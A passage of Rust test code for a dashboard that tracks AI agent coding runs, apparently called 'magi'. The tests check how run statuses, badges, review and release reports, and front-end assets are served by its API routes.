21276            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
21277            (RunStatus::Judging, true, "park", false, Live, "judging"),
21278            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
21279            (RunStatus::Merged, true, "park", false, Dead, "merged"),
21280            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
21281            (
21282                RunStatus::Blocked,
21283                true,
21284                "github-text",
21285                true,
21286                Dead,
21287                "waiting",
21288            ),
21289        ] {
21290            state.status = status;
21291            state.parked = parked;
21292            state.events.clear();
21293            state.event(
21294                "park",
21295                "an earlier park does not determine the latest state",
21296            );
21297            state.event(node, "message is not used for classification");
21298            let summary = RunSummary::of(&state, waiting, live);
21299            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
21300            assert_eq!(
21301                summary.display_status, expected,
21302                "{status:?}/{node}/{live:?}"
21303            );
21304            assert_eq!(detail.display_status, summary.display_status);
21305            assert_eq!(detail.waiting, summary.waiting);
21306        }
21307        state.status = RunStatus::Judging;
21308        state.parked = false;
21309        state.events.clear();
21310        assert_eq!(run_display_status(&state, false, Dead), "stale");
21311    }
21312
21313    #[test]
21314    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
21315        use crate::run::Liveness::{Dead, Live, Unknown};
21316        let mut state = RunState::new(
21317            PathBuf::from("/repo/magi"),
21318            "main".to_owned(),
21319            "abc".to_owned(),
21320            "Badge".to_owned(),
21321            Config::default(),
21322        );
21323        for (status, waiting, live, superseded, expected) in [
21324            (RunStatus::Gating, false, Dead, false, "stale"),
21325            (RunStatus::Gating, false, Dead, true, "superseded"),
21326            (RunStatus::Gating, false, Unknown, true, "superseded"),
21327            (RunStatus::Gating, true, Dead, true, "superseded"),
21328            (RunStatus::Gating, true, Dead, false, "waiting"),
21329            (RunStatus::Gating, false, Unknown, false, "gating"),
21330            (RunStatus::Gating, false, Live, true, "gating"),
21331            (RunStatus::Gating, true, Live, true, "waiting"),
21332            (RunStatus::Merged, false, Dead, true, "merged"),
21333            (RunStatus::Blocked, false, Dead, true, "blocked"),
21334        ] {
21335            state.status = status;
21336            let display = run_display_status(&state, waiting, live);
21337            assert_eq!(
21338                run_badge_status(&state, &display, live, superseded),
21339                expected,
21340                "{status:?}/{live:?}/superseded={superseded}"
21341            );
21342        }
21343    }
21344
21345    #[test]
21346    fn summarize_and_detail_expose_badge_status() {
21347        use crate::run::Liveness::Dead;
21348        let mut state = RunState::new(
21349            PathBuf::from("/repo/magi"),
21350            "main".to_owned(),
21351            "abc".to_owned(),
21352            "Badge".to_owned(),
21353            Config::default(),
21354        );
21355        state.status = RunStatus::Gating;
21356        let none = HashSet::new();
21357        let id = state.id.clone();
21358        let mut by = HashMap::new();
21359        let rows = summarize(
21360            [state.clone()],
21361            &none,
21362            &none,
21363            &by,
21364            |_| Some(false),
21365            |_| None,
21366        );
21367        // No driver recorded: liveness is not provably dead, so the node stays.
21368        assert_eq!(rows[0].badge_status, rows[0].display_status);
21369        by.insert(id, "20260901-000000-913b".to_owned());
21370        let detail = RunDetailView::of(
21371            state.clone(),
21372            false,
21373            Dead,
21374            Some("913b".to_owned()),
21375            None,
21376            None,
21377        );
21378        assert_eq!(detail.badge_status, "superseded");
21379        let json = serde_json::to_value(&detail).unwrap();
21380        assert_eq!(json["badge_status"], "superseded");
21381        let detail = RunDetailView::of(state, false, Dead, None, None, None);
21382        assert_eq!(detail.badge_status, "stale");
21383    }
21384
21385    #[tokio::test]
21386    async fn run_display_status_routes_share_the_open_question_store() {
21387        let f = Fixture::start().await;
21388        let id = "20260922-090200-abcd";
21389        write_run(&f.runs(), id, RunStatus::Judging);
21390        let mut state = read_run(&f.runs(), id).unwrap();
21391        state.parked = true;
21392        state.driver_exited = true;
21393        state.event("github-text", "waiting for the owner");
21394        state.save_under(f.home.path()).unwrap();
21395        let mut task = Task::new(
21396            "resumed task".to_owned(),
21397            "do it".to_owned(),
21398            PathBuf::from("/repo"),
21399            Source::Human,
21400        );
21401        task.runs = vec![id.to_owned(), id.to_owned()];
21402        f.queue().put(&mut task).unwrap();
21403        let store = f.questions();
21404        let mut q = Question::new(
21405            id.to_owned(),
21406            "github-text".to_owned(),
21407            "owner".to_owned(),
21408            "Approve the text?".to_owned(),
21409            String::new(),
21410            Vec::new(),
21411        );
21412        store.put(&mut q).unwrap();
21413        for expected in ["waiting", "parked"] {
21414            let list = f.get("/api/runs").await.json();
21415            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21416            assert_eq!(list[0]["display_status"], expected);
21417            assert_eq!(detail["display_status"], expected);
21418            assert_eq!(detail["waiting"], list[0]["waiting"]);
21419            assert_eq!(list[0]["badge_status"], expected);
21420            assert_eq!(detail["badge_status"], expected);
21421            assert!(list[0]["superseded_by"].is_null());
21422            assert!(detail["superseded_by"].is_null());
21423            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
21424            let history = task_detail["history"].as_array().unwrap();
21425            assert_eq!(history.len(), 2);
21426            assert!(history[0]["badge"].is_null());
21427            assert_eq!(history[1]["badge"], expected);
21428            q.status = ask::QuestionStatus::Answered;
21429            store.put(&mut q).unwrap();
21430        }
21431    }
21432
21433    #[tokio::test]
21434    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
21435        let f = Fixture::start().await;
21436        let id = "20260922-090200-abcd";
21437        write_run(&f.runs(), id, RunStatus::Judging);
21438        let mut state = read_run(&f.runs(), id).unwrap();
21439        state.parked = true;
21440        state.driver_exited = true;
21441        state.event("park", "stopped at a node boundary");
21442        state.save_under(f.home.path()).unwrap();
21443
21444        for expected in ["parked", "stale"] {
21445            let list = f.get("/api/runs").await.json();
21446            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21447            assert_eq!(list[0]["live"], "dead");
21448            assert_eq!(list[0]["display_status"], expected);
21449            assert_eq!(detail["display_status"], expected);
21450            // Model a driver claim followed by a crash before the next event:
21451            // the persisted flag changes, but the last event is still park.
21452            state.parked = false;
21453            state.save_under(f.home.path()).unwrap();
21454        }
21455    }
21456
21457    #[tokio::test]
21458    async fn the_run_list_is_newest_first_and_honours_a_limit() {
21459        let f = Fixture::start().await;
21460        for id in [
21461            "20260902-140501-aaaa",
21462            "20260902-140502-bbbb",
21463            "20260902-140503-cccc",
21464        ] {
21465            write_run(&f.runs(), id, RunStatus::Merged);
21466        }
21467
21468        let all = f.get("/api/runs").await.json();
21469        let capped = f.get("/api/runs?limit=2").await.json();
21470
21471        assert_eq!(all[0]["id"], "20260902-140503-cccc");
21472        assert_eq!(all.as_array().map(Vec::len), Some(3));
21473        assert_eq!(capped.as_array().map(Vec::len), Some(2));
21474        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
21475    }
21476
21477    #[tokio::test]
21478    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
21479        let f = Fixture::start().await;
21480        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
21481
21482        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
21483
21484        assert_eq!(res.status, 200);
21485        assert!(
21486            res.headers
21487                .contains("content-type: text/plain; charset=utf-8"),
21488            "a browser must render it, not download it: {}",
21489            res.headers
21490        );
21491        // The assertion is on content, not on the absence of escapes: colour
21492        // is a process-global that `serve` turns off at startup, and another
21493        // test in this binary may own it while this one runs.
21494        assert!(
21495            res.body.contains("20260902-140501-a1b2"),
21496            "the report is about the run that was asked for: {}",
21497            res.body
21498        );
21499    }
21500
21501    #[tokio::test]
21502    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
21503        // The view names the run's state directory, which reads the process-global home.
21504        crate::run::pin_test_home();
21505        let f = Fixture::start().await;
21506        let id = "20260902-140501-a1b2";
21507        write_run(&f.runs(), id, RunStatus::Stalled);
21508        // A stalled panel and one review round, written through the real
21509        // state file so the route reads what a run really leaves behind.
21510        let path = f.runs().join(id).join("run.json");
21511        let mut v: serde_json::Value =
21512            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21513        v["tally"] = serde_json::json!({
21514            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21515            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21516            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21517            "met_quorum": false, "rankings": 1
21518        });
21519        v["reviews"] = serde_json::json!([{
21520            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
21521            "e2e_deferred": true,
21522            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
21523                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
21524            ]}]
21525        }]);
21526        std::fs::write(&path, v.to_string()).unwrap();
21527        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
21528        std::fs::write(
21529            f.runs().join("20260902-140502-dead").join("run.json"),
21530            "{not json",
21531        )
21532        .unwrap();
21533
21534        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21535
21536        assert_eq!(res.status, 200, "{}", res.body);
21537        assert!(res.headers.contains("content-type: application/json"));
21538        let j = res.json();
21539        assert_eq!(j["schema"], 1);
21540        assert_eq!(j["header"]["id"], id);
21541        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
21542        let kinds: Vec<&str> = j["sections"]
21543            .as_array()
21544            .unwrap()
21545            .iter()
21546            .map(|s| s["kind"].as_str().unwrap())
21547            .collect();
21548        assert_eq!(kinds, ["candidates", "tally", "review"]);
21549        let tally = &j["sections"][1]["tally"];
21550        assert_eq!(
21551            (tally["decided"].clone(), tally["provisional"].clone()),
21552            (false.into(), true.into())
21553        );
21554        let round = &j["sections"][2]["rounds"][0];
21555        assert_eq!(round["e2e"]["state"], "deferred");
21556        assert_eq!(round["findings"][0]["severity"], "major");
21557        assert_eq!(round["findings"][0]["blocking"], true);
21558        assert_eq!(round["findings"][0]["state"], "open");
21559
21560        // The raw route keeps working beside it.
21561        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
21562
21563        // An unreadable run is an error, as on the text route, and is counted.
21564        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
21565        assert_ne!(bad.status, 200, "{}", bad.body);
21566        assert_eq!(
21567            bad.status,
21568            f.get("/api/runs/20260902-140502-dead/report").await.status
21569        );
21570        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
21571        assert_eq!(
21572            f.get("/api/runs/20260902-999999-ffff/report.json")
21573                .await
21574                .status,
21575            404
21576        );
21577    }
21578
21579    #[tokio::test]
21580    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
21581        crate::run::pin_test_home();
21582        let f = Fixture::start().await;
21583        let id = "20260902-140501-a1b2";
21584        write_run(&f.runs(), id, RunStatus::Blocked);
21585        let path = f.runs().join(id).join("run.json");
21586        let mut v: serde_json::Value =
21587            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21588        v["sync_only_passes"] = serde_json::json!([{
21589            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
21590            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
21591            "head_before": "before-sha", "head_after": "after-sha",
21592            "result": "synchronized", "verification_allowed": false
21593        }]);
21594        std::fs::write(&path, v.to_string()).unwrap();
21595
21596        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21597        assert_eq!(res.status, 200, "{}", res.body);
21598        let json = res.json();
21599        let section = json["sections"]
21600            .as_array()
21601            .unwrap()
21602            .iter()
21603            .find(|s| s["key"] == "sync_only")
21604            .expect("base-only report section");
21605        let line = section["lines"][0].as_str().unwrap();
21606        assert!(line.contains("origin/main @ base-sha"), "{line}");
21607        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
21608        assert!(line.contains("verification was not allowed"), "{line}");
21609    }
21610
21611    #[tokio::test]
21612    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
21613        crate::run::pin_test_home();
21614        let f = Fixture::start().await;
21615        let id = "20260902-140505-facts";
21616        write_run(&f.runs(), id, RunStatus::Stalled);
21617        let path = f.runs().join(id).join("run.json");
21618        let mut v: serde_json::Value =
21619            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21620        v["candidates"] = serde_json::json!([{
21621            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
21622            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
21623        }]);
21624        v["tally"] = serde_json::json!({
21625            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21626            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21627            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21628            "met_quorum": false, "rankings": 1
21629        });
21630        v["quota"] = serde_json::json!([
21631            {
21632                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
21633                "agent": "signed-out", "cause": "authentication"
21634            },
21635            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
21636        ]);
21637        v["startup"] = serde_json::json!({
21638            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
21639            "failure": "fetch refused\ncredentials expired"
21640        });
21641        v["recovery"] = serde_json::json!({
21642            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
21643            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
21644            "repair": {"started": {"before": "abcdef012345"}}
21645        });
21646        v["reviews"] = serde_json::json!([{
21647            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
21648            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
21649            "vote_split": true, "verdict": "approve_with_findings",
21650            "e2e": [{
21651                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
21652            }],
21653            "reviews": [
21654                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
21655                 "summary": "Initial **concern**.\n\nPlease inspect.",
21656                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
21657                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
21658            ],
21659            "reconsideration": [{
21660                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
21661                "reason": "The blocker is resolved.\nOne minor issue remains."
21662            }]
21663        }]);
21664        v["merge_repairs"] = serde_json::json!([{
21665            "question": "question-42", "head": "abcdef012345",
21666            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
21667            "gate": [], "phase": "Failed",
21668            "failure": "owner decision required\ninspect updated results"
21669        }]);
21670        v["bump_decision_attempts"] = serde_json::json!([
21671            {"agent": "first", "outcome": "unavailable"},
21672            {"agent": "second", "outcome": "patch\naccepted"}
21673        ]);
21674        v["release_bump"] = serde_json::json!({
21675            "version": "1.2.3", "local": true,
21676            "problem": "publish failed\nregistry refused",
21677            "release": {
21678                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
21679                "failed": "registry refused\nawait owner approval",
21680                "log": [{
21681                    "name": "cargo publish", "code": 1,
21682                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
21683                }]
21684            }
21685        });
21686        std::fs::write(&path, v.to_string()).unwrap();
21687
21688        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21689        assert_eq!(res.status, 200, "{}", res.body);
21690        let j = res.json();
21691        assert_eq!(j["schema"], 1);
21692        assert_eq!(j["header"]["tone"], "warn");
21693        assert_eq!(
21694            j["header"]["startup"],
21695            "review branch=topic stage=fetch complete=false"
21696        );
21697        assert_eq!(
21698            j["header"]["startup_failure"],
21699            "fetch refused\ncredentials expired"
21700        );
21701        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21702        assert_eq!(
21703            j["sections"][0]["items"][0]["detail"],
21704            "Already covered.\nNo patch needed."
21705        );
21706        assert_eq!(
21707            j["sections"][1]["tally"]["rate_limited"],
21708            serde_json::json!(["judge-1", "judge-2"])
21709        );
21710        let sections = j["sections"].as_array().unwrap();
21711        let labels: Vec<_> = sections
21712            .iter()
21713            .map(|section| {
21714                section["key"]
21715                    .as_str()
21716                    .or_else(|| section["kind"].as_str())
21717                    .unwrap()
21718            })
21719            .collect();
21720        assert_eq!(
21721            labels,
21722            [
21723                "candidates",
21724                "tally",
21725                "quota_details",
21726                "recovery",
21727                "review",
21728                "merge_repairs",
21729                "release_decision_attempts",
21730                "release_bump",
21731                "release_execution"
21732            ]
21733        );
21734        let note = |key: &str| {
21735            sections
21736                .iter()
21737                .find(|section| section["kind"] == "notes" && section["key"] == key)
21738                .unwrap()
21739        };
21740        let unavailable = note("quota_details");
21741        assert_eq!(unavailable["tone"], "warn");
21742        assert_eq!(
21743            unavailable["lines"],
21744            serde_json::json!([
21745                "judge-1 (signed-out: re-authenticate)",
21746                "judge-2 (usage limit)"
21747            ])
21748        );
21749        let recovery = note("recovery");
21750        assert_eq!(recovery["tone"], "warn");
21751        assert!(
21752            recovery["lines"][0]
21753                .as_str()
21754                .unwrap()
21755                .contains("head moved\nreview the new diff")
21756        );
21757        assert_eq!(
21758            recovery["lines"][1],
21759            "the task's own completion criteria were kept"
21760        );
21761        assert_eq!(recovery["lines"][2], "repair: unfinished");
21762        let review = sections
21763            .iter()
21764            .find(|section| section["kind"] == "review")
21765            .unwrap();
21766        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21767        let round = &review["rounds"][0];
21768        assert_eq!(round["verified_head"], "fedcba9");
21769        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21770        assert_eq!(round["status"], "incomplete");
21771        assert_eq!(round["e2e"]["state"], "pass");
21772        assert_eq!(round["reviewers"][0]["vote"], "reject");
21773        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21774        assert_eq!(
21775            round["reviewers"][0]["reason"],
21776            "Initial **concern**.\n\nPlease inspect."
21777        );
21778        assert!(
21779            !round["reviewers"][0]["reason_md"]
21780                .as_array()
21781                .unwrap()
21782                .is_empty()
21783        );
21784        assert!(round["reviewers"][1]["final_vote"].is_null());
21785        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21786        assert_eq!(
21787            round["reconsideration"][0]["reason"],
21788            "The blocker is resolved.\nOne minor issue remains."
21789        );
21790        assert!(
21791            !round["reconsideration"][0]["reason_md"]
21792                .as_array()
21793                .unwrap()
21794                .is_empty()
21795        );
21796        let repairs = note("merge_repairs");
21797        assert_eq!(repairs["tone"], "warn");
21798        assert_eq!(
21799            repairs["lines"][0],
21800            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21801        );
21802        assert_eq!(
21803            repairs["lines"][1],
21804            "held: owner decision required\ninspect updated results"
21805        );
21806        assert_eq!(
21807            repairs["lines"][2],
21808            "original [R1-1-1] Minor: Check edge case"
21809        );
21810        assert_eq!(
21811            repairs["lines"][3],
21812            "original reviewer #1: ApproveWithFindings"
21813        );
21814        assert_eq!(
21815            repairs["lines"][4],
21816            "Repair never approves a merge; updated results require a fresh owner decision."
21817        );
21818        let attempts = note("release_decision_attempts");
21819        assert_eq!(attempts["tone"], "neutral");
21820        assert_eq!(
21821            attempts["lines"],
21822            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21823        );
21824        let bump = sections
21825            .iter()
21826            .find(|section| section["kind"] == "release_bump")
21827            .unwrap();
21828        assert_eq!(bump["bump"]["automerge"], "local");
21829        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21830        assert_eq!(bump["tone"], "warn");
21831        let execution = note("release_execution");
21832        assert_eq!(execution["tone"], "warn");
21833        assert_eq!(
21834            execution["lines"][0],
21835            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21836        );
21837        assert_eq!(
21838            execution["lines"][1],
21839            "tag on remote: true; 1 command(s) completed"
21840        );
21841        assert_eq!(
21842            execution["lines"][2],
21843            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21844        );
21845
21846        // The original endpoint remains terminal text, including these same facts.
21847        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21848        assert_eq!(raw.status, 200);
21849        assert!(
21850            raw.headers
21851                .contains("content-type: text/plain; charset=utf-8")
21852        );
21853        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21854        assert!(raw.body.contains("Already covered."));
21855        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21856        assert!(raw.body.contains("judge-2 (usage limit)"));
21857        assert!(
21858            raw.body
21859                .contains("owner decision required\ninspect updated results")
21860        );
21861        assert!(raw.body.contains("2. second: patch\naccepted"));
21862        assert!(raw.body.contains(
21863            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21864        ));
21865
21866        // Historical records do not acquire invented startup or verification facts.
21867        let legacy_id = "20260902-140506-old";
21868        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21869        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21870        assert_eq!(legacy.status, 200, "{}", legacy.body);
21871        let legacy = legacy.json();
21872        assert!(legacy["header"]["startup"].is_null());
21873        assert!(legacy["header"]["startup_failure"].is_null());
21874        assert!(
21875            legacy["sections"]
21876                .as_array()
21877                .unwrap()
21878                .iter()
21879                .all(|section| section["kind"] != "notes")
21880        );
21881    }
21882
21883    #[tokio::test]
21884    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21885        crate::run::pin_test_home();
21886        let f = Fixture::start().await;
21887        let id = "20260902-140503-delib";
21888        write_run(&f.runs(), id, RunStatus::Merged);
21889        let path = f.runs().join(id).join("run.json");
21890        let mut v: serde_json::Value =
21891            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21892        v["judgements"] = serde_json::json!([
21893            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21894        ]);
21895        v["tally"] = serde_json::json!({
21896            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21897            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21898            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21899            "met_quorum": true, "rankings": 1
21900        });
21901        v["deliberation"] = serde_json::json!([
21902            {
21903                "round": 1,
21904                "turns": [
21905                    {
21906                        "judge": 1,
21907                        "agent": "judge-1",
21908                        "body": "I prefer candidate **A** because it has cleaner tests.",
21909                        "tentative": "A"
21910                    }
21911                ]
21912            },
21913            {
21914                "round": 2,
21915                "turns": [
21916                    {
21917                        "judge": 1,
21918                        "agent": "judge-1",
21919                        "body": "Still thinking, no choice yet.",
21920                        "tentative": null
21921                    }
21922                ]
21923            }
21924        ]);
21925        std::fs::write(&path, v.to_string()).unwrap();
21926
21927        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21928        assert_eq!(res.status, 200, "{}", res.body);
21929        let j = res.json();
21930        let judging = j["sections"]
21931            .as_array()
21932            .unwrap()
21933            .iter()
21934            .find(|s| s["kind"] == "judging")
21935            .expect("judging section exists");
21936
21937        // Existing summary lines remain intact
21938        let delib_lines = judging["deliberation"].as_array().unwrap();
21939        assert_eq!(delib_lines.len(), 2);
21940        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21941        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21942
21943        // rounds carry turn bodies, tentative and parsed body_md
21944        let rounds = judging["rounds"].as_array().unwrap();
21945        assert_eq!(rounds.len(), 2);
21946        let r1_t0 = &rounds[0]["turns"][0];
21947        assert_eq!(r1_t0["judge"], 1);
21948        assert_eq!(r1_t0["agent"], "judge-1");
21949        assert_eq!(r1_t0["tentative"], "A");
21950        assert_eq!(
21951            r1_t0["body"],
21952            "I prefer candidate **A** because it has cleaner tests."
21953        );
21954        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
21955
21956        let r2_t0 = &rounds[1]["turns"][0];
21957        assert_eq!(r2_t0["judge"], 1);
21958        assert_eq!(r2_t0["agent"], "judge-1");
21959        assert!(r2_t0["tentative"].is_null());
21960        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
21961        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
21962
21963        // A run with empty deliberation array yields empty rounds
21964        let id_empty = "20260902-140504-nodelib";
21965        write_run(&f.runs(), id_empty, RunStatus::Merged);
21966        let path_empty = f.runs().join(id_empty).join("run.json");
21967        let mut v_empty: serde_json::Value =
21968            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
21969        v_empty["judgements"] = serde_json::json!([
21970            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21971        ]);
21972        v_empty["deliberation"] = serde_json::json!([]);
21973        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
21974
21975        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
21976        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
21977        let j_empty = res_empty.json();
21978        let judging_empty = j_empty["sections"]
21979            .as_array()
21980            .unwrap()
21981            .iter()
21982            .find(|s| s["kind"] == "judging")
21983            .expect("judging section exists");
21984        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
21985    }
21986
21987    #[tokio::test]
21988    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
21989        let f = Fixture::start().await;
21990
21991        let html = f.get("/").await;
21992        let css = f.get("/app.css").await;
21993        let js = f.get("/app.js").await;
21994
21995        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
21996        assert!(
21997            html.headers
21998                .contains("content-type: text/html; charset=utf-8")
21999        );
22000        assert!(css.headers.contains("content-type: text/css"));
22001        assert!(js.headers.contains("content-type: text/javascript"));
22002        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
22003    }
22004
22005    #[test]
22006    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
22007        let body = |name: &str| {
22008            let at = APP_JS
22009                .find(name)
22010                .unwrap_or_else(|| panic!("{name} missing"));
22011            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22012        };
22013        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
22014        let note = body("function landRoundNote");
22015        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
22016        assert!(note.contains("Land round ${round}"));
22017        let land = body("function renderLand");
22018        let note_at = land
22019            .find("landRoundNote(pr)")
22020            .expect("renderLand uses the note");
22021        assert!(
22022            note_at
22023                < land
22024                    .find("roundRail(pr)")
22025                    .expect("renderLand uses the rail")
22026        );
22027    }
22028
22029    #[test]
22030    fn the_runs_page_redesign_keeps_its_guards() {
22031        let body = |name: &str| {
22032            let at = APP_JS
22033                .find(name)
22034                .unwrap_or_else(|| panic!("{name} missing"));
22035            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22036        };
22037        // A null child must never reach the native append (it prints "null").
22038        let land = body("function renderLand");
22039        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
22040        assert!(
22041            !land.contains("box.append("),
22042            "renderLand must use append()"
22043        );
22044        assert!(land.contains("append(box, ["));
22045        // Tabs are hash routes; the run id alone decides a reload.
22046        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
22047        assert!(
22048            body("function applyRoute")
22049                .contains("route.name !== state.route.name || route.id !== state.route.id")
22050        );
22051        // The decorative diagram is gone, the strip and its guards stay.
22052        assert!(!APP_JS.contains("adviseConvergeDiagram"));
22053        assert!(!INDEX_HTML.contains("advise-converge"));
22054        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
22055        assert!(APP_JS.contains("provisional"));
22056        for id in [
22057            "run-tab-overview",
22058            "run-tab-timeline",
22059            "run-tab-report",
22060            "run-report",
22061            "runs-scope",
22062        ] {
22063            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
22064        }
22065        assert!(!INDEX_HTML.contains("runs-tree"));
22066        assert!(!INDEX_HTML.contains("run-raw-panel"));
22067        // Fold still says it cannot be resumed.
22068        assert!(APP_JS.contains("resume"));
22069        // The unreadable-runs count stays on the page.
22070        assert!(APP_JS.contains("unreadable"));
22071    }
22072
22073    #[test]
22074    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
22075        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
22076        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
22077        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
22078        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
22079        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
22080        // The subtitle still counts them whatever the banner does.
22081        assert!(APP_JS.contains("unreadable` : null"));
22082    }
22083
22084    #[test]
22085    fn blocked_run_detail_exposes_the_failed_gate_reason() {
22086        let mut state = RunState::new(
22087            "/repo".into(),
22088            "main".into(),
22089            "abc".into(),
22090            "task".into(),
22091            crate::config::Config::default(),
22092        );
22093        state.status = RunStatus::Blocked;
22094        state.gate_ran = true;
22095        state.gate.push(crate::run::CommandOutcome {
22096            command: "cargo make check".into(),
22097            code: Some(1),
22098            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
22099            duration_ms: 0,
22100            resource_blocked: false,
22101            ..Default::default()
22102        });
22103        let view = RunDetailView::of(
22104            state,
22105            false,
22106            crate::run::Liveness::Unknown,
22107            None,
22108            None,
22109            None,
22110        );
22111        let value = serde_json::to_value(view).unwrap();
22112        assert_eq!(
22113            value["stop_reason"],
22114            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
22115        );
22116    }
22117
22118    #[test]
22119    fn the_run_detail_payload_says_whether_the_run_is_done() {
22120        // `landView` reads `run.done`; the detail response must carry it.
22121        for (status, done) in [
22122            (RunStatus::Superseded, true),
